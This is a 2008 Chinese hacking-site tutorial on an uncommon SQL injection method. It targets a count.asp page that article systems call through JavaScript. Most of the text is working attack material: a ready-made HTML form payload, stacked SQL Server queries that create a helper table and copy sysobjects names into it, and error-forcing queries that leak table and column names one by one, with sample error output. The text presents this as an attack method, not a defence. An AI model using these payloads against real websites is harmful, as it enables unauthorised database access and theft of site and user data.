通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 爱心红客 电信网通铁通移动 在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
网站SQL脚本注入的不常见方法
责任编辑:酷酷の鱼   更新日期:2008-7-14
 

来源:安全中国

☆ 全站文章系统采用FSO静态生成的HTML文件来显示,这样做的好处一来可以减轻服务器负担,提高访问速度。二是阻止SQL注入式的攻击...

文章系统原理:
全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击方法:查看源文件,里面是否有通过JS来调用页面。
如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。

我们就可以来试一下可否注入:
http://服务域名/count.asp?id=1552’
看是否出错。如出错说明有注入漏洞,可采取正常攻击。

在本机建立一个post.htm的文件和log.txt的文本文件(用于记录用)

post.htm内容:方便输入…
复制内容到剪贴板代码:
&lt;iframe name=p src=# width=800 height=350 frameborder=0&gt;&lt;/iframe&gt;
&lt;br&gt;
&lt;form action=http://test.com/count.asp target=p&gt;
&lt;input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0);--" style="width:750"&gt;
&lt;input type=submit value="&gt;&gt;&gt;"&gt;
&lt;input type=hidden name=fno value="2, 3"&gt;
&lt;/form&gt;
对于SQL SERVER服务器可以这样判断:在1552后加一分号,如正常可能是SQL SERVER对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

然后插入一条记录:id=1552;insert into aaa values(’test’);--

再之后枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0);--

这是将第一个表名更新到aaa的字段处。

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’, 将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。 

/search.asp,行21

其中vote就是表名:

也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0 and name&lt;&gt;’vote’);--

然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,一个个的读出,直到没有为止。

读字段:

id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名。

……类推……

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    普通文章 金山:2008上半年中国电脑病毒疫情互联网安全报告
    普通文章 微软7月安全补丁 补9处缺陷
    普通文章 互联网DNS存在重大漏洞
    普通文章 Gmail/Hotmail/YahooCAPTCHA验证均被攻破
    普通文章 IBM专家:SQL注入攻击第三波浪潮袭来
    普通文章 六少年被雇利用软件盗QQ号进行网络诈骗
    普通文章 GMail将帮助eBay对抗网络钓鱼
    普通文章 Vista表现疲软 Mac出货量激增39%
    普通文章 小心“硬盘魔鬼”破坏硬盘分区表
    推荐文章 推荐:黑客谈国内僵尸网络的现状与发展
    热门文章
    普通文章EB(Permeo e-Border)代理教程
    普通文章SQL注入新威胁:将挑战操作系统安全
    普通文章网管员经验心得 局域网管理的八个误区
    普通文章SQL注射修改难猜解的MD5
    普通文章邮件病毒入侵后的正确查杀方法
    推荐文章推荐:CSRF:不要低估了我的危害和攻击能力
    普通文章三招教你保障无线网络连接安全
    推荐文章瑞星公司07月04日发布 每日计算机病毒及木马播报
    普通文章奥运安全杂谈:别让你的电脑给奥运抹黑鬼
    普通文章微软本月将发4个重要级安全补丁
    精彩专题